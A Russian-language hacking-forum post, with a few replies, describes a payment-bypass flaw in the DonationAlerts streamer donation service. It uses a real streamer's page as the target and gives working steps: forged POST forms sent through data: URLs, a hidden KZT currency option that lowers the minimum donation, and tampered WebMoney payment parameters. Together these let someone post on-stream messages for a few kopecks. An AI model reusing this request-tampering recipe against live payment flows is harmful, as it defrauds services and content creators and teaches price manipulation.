Привет, хакеры и не очень! donationalerts - сервис, позволяющий стримерам платформы twitch, выводить сообщения на экран, во время онлайн-трансляции. В данной статье речь пойдет о скромной оплошности разработчиков, которая позволит нам отправить сообщение стримеру (подключенному к системе оповещений), потратив всего пару российских копеек, минуя установленную сумму доната. Разберем момент на конкретном пользователе - twitch.tv/ceh9, его страница в системе: donationalerts.ru/w/ceh9. Форма представляет собой окно для ввода вашего ника, сообщения и суммы доната с выпадающим списком для выбора валюты. Нас интересует код выпадающего списка (приведен ниже). Как можно заметить, веб-опции не предоставляют возможность выбрать KZT. Однако, в коде всех подобных страниц присутствует вариант с оплатой тенге. К сведению, 1 WMR = 4 WMK (казахский тенге). Code: <div name="amount-tip" class="tip">Минимальная сумма: <span class="curtm" data-currencycode="RUB" style="display:initial">50.00 RUB</span> <span class="curtm" data-currencycode="USD">1.00 USD</span> <span class="curtm" data-currencycode="BYR">20000.00 BYR</span> <span class="curtm" data-currencycode="UAH">20.00 UAH</span> <span class="curtm" data-currencycode="EUR">1.00 EUR</span> <span class="curtm" data-currencycode="KZT">0.02 KZT</span></div> На уровне запросов, отправка сообщения происходит в три этапа: передача post-параметров data и form; перенаправление на платежную систему с передачей параметров платежа; процедура оплаты. 1. Отправляем ник, сообщение, сумму и валюту. Выполним идентичный запрос в браузере с подменой значений суммы и валюты. Code: data:text/html, <form method="POST" action="http://www.donationalerts.ru/w/ceh9"> <input type="hidden" input name="data" value="name=Bonkers&amount=1¤cy=KZT&comment=Good+luck%2C+man!"> <input type="hidden" name="form" value="webmoney"> <input name=""type="submit" value="go"><form> В ответ система генерирует номер платежа, выдает кошелек для оплаты, url платежной системы, а также прочие, статичные для частного примера, данные. Из полученного ответа нам потребуется номер платежа, кошелек и ссылка на платежную систему (в нашем случае, webmoney). Пример ответа: Code: {"status":"success","errors":null,"form":"webmoney","text":"\u0421\u043f\u0430\u0441\u0438\u0431\u043e! \u0421\u0435\u0439\u0447\u0430\u0441 \u0432\u044b \u0431\u0443\u0434\u0435\u0442\u0435 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u043e\u043f\u043b\u0430\u0442\u044b.","redirect_url":null,"redirect_form":"<form method=\"POST\" action=\"https:\/\/merchant.webmoney.ru\/lmi\/payment.asp\" accept-charset=\"windows-1251\"><input type=\"hidden\" name=\"LMI_PAYMENT_AMOUNT\" value=\"1\"><input type=\"hidden\" name=\"LMI_PAYMENT_DESC\" value=\"DonationAlerts: ceh9\"><input type=\"hidden\" name=\"LMI_PAYMENT_NO\" value=\"21876\"><input type=\"hidden\" name=\"LMI_PAYEE_PURSE\" value=\"K354898616754\"><input type=\"hidden\" name=\"LMI_SIM_MODE\" value=\"0\"><\/form>"} 2. Редирект на платежную систему. Имитируем запрос переадресации с заменой параметров LMI_PAYMENT_AMOUNT (сумма), LMI_PAYMENT_NO (номер платежа) и LMI_PAYEE_PURSE (кошелек): Code: data:text/html, <form method="POST" action="https://merchant.webmoney.ru/lmi/payment.asp"> <input type="hidden" name="LMI_PAYMENT_AMOUNT" value="1"> <input type="hidden" name="LMI_PAYMENT_DESC" value="DonationAlerts: ceh9"> <input type="hidden" name="LMI_PAYMENT_NO" value="21876"> <input type="hidden" name="LMI_PAYEE_PURSE" value="K354898616754"> <input type="hidden" name="LMI_SIM_MODE" value="0"> <input name=""type="submit" value="go"><form> 3. Следуем инструкциям оплаты. Статья написана в ознакомительных целях и уязвимость в скором времени будет устранена разработчиками. На звание взломщика года я не претендую, поэтому буду рад выслушать ваши замечания. Отдельное спасибо M_script за элегантный метод отправки post-запроса из адресной строки. Прошу модераторов перенести топик в соответствующий раздел ("уязвимости", "статьи" или оставить здесь). © Bonkers
перенес в уязвимости, а там ребята пусть решат где теме место. Только не понял, почему ламерский метод? Нормальный вполне себе.
Дело в том, что я совсем не хакер и реализация подобной невнимательности программистов показалось мне школьной забавой, в сравнении с другими статьями из этого раздела. Рад, если годно вышло.
Помниться лет 6-7 назад, по похожей схеме работали большинство регистраторов доменов, ух времена были.
Софт называется Chrome Отправлял запросы через адресную строку: https://forum.antichat.ru/threads/424931/#post-3844418 Снифер HttpAnalyzer, да.